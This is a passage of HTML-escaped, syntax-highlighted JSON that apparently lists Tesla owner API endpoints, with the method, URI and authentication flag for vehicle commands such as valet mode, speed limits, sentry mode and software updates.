&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/logs&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;RETRIEVE_NOTIFICATION_PREFERENCES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/notification_preferences&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SEND_NOTIFICATION_PREFERENCES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/notification_preferences&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;RETRIEVE_NOTIFICATION_SUBSCRIPTION_PREFERENCES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicle_subscriptions&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SEND_NOTIFICATION_SUBSCRIPTION_PREFERENCES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicle_subscriptions&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;DEACTIVATE_DEVICE_TOKEN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/device/{device_token}/deactivate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CALENDAR_SYNC&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/upcoming_calendar_entries&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SET_VALET_MODE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/set_valet_mode&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;RESET_VALET_PIN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/reset_valet_pin&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SPEED_LIMIT_ACTIVATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/speed_limit_activate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SPEED_LIMIT_DEACTIVATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/speed_limit_deactivate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SPEED_LIMIT_SET_LIMIT&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/speed_limit_set_limit&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SPEED_LIMIT_CLEAR_PIN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/speed_limit_clear_pin&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SCHEDULE_SOFTWARE_UPDATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/schedule_software_update&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CANCEL_SOFTWARE_UPDATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/cancel_software_update&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SET_SENTRY_MODE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/set_sentry_mode&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;POWERWALL_ORDER_SESSION_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/users/powerwall_order_entry_data&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;POWERWALL_ORDER_PAGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;powerwall_order_page&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CONTENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;HTML&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;ONBOARDING_EXPERIENCE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/users/onboarding_data&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;ONBOARDING_EXPERIENCE_PAGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;onboarding_page&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CONTENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;HTML&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SERVICE_SELF_SCHEDULING_ELIGIBILITY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/users/service_scheduling_data&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SERVICE_SELF_SCHEDULING_PAGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;service_scheduling_page&amp;#34;&lt;/span&gt;,
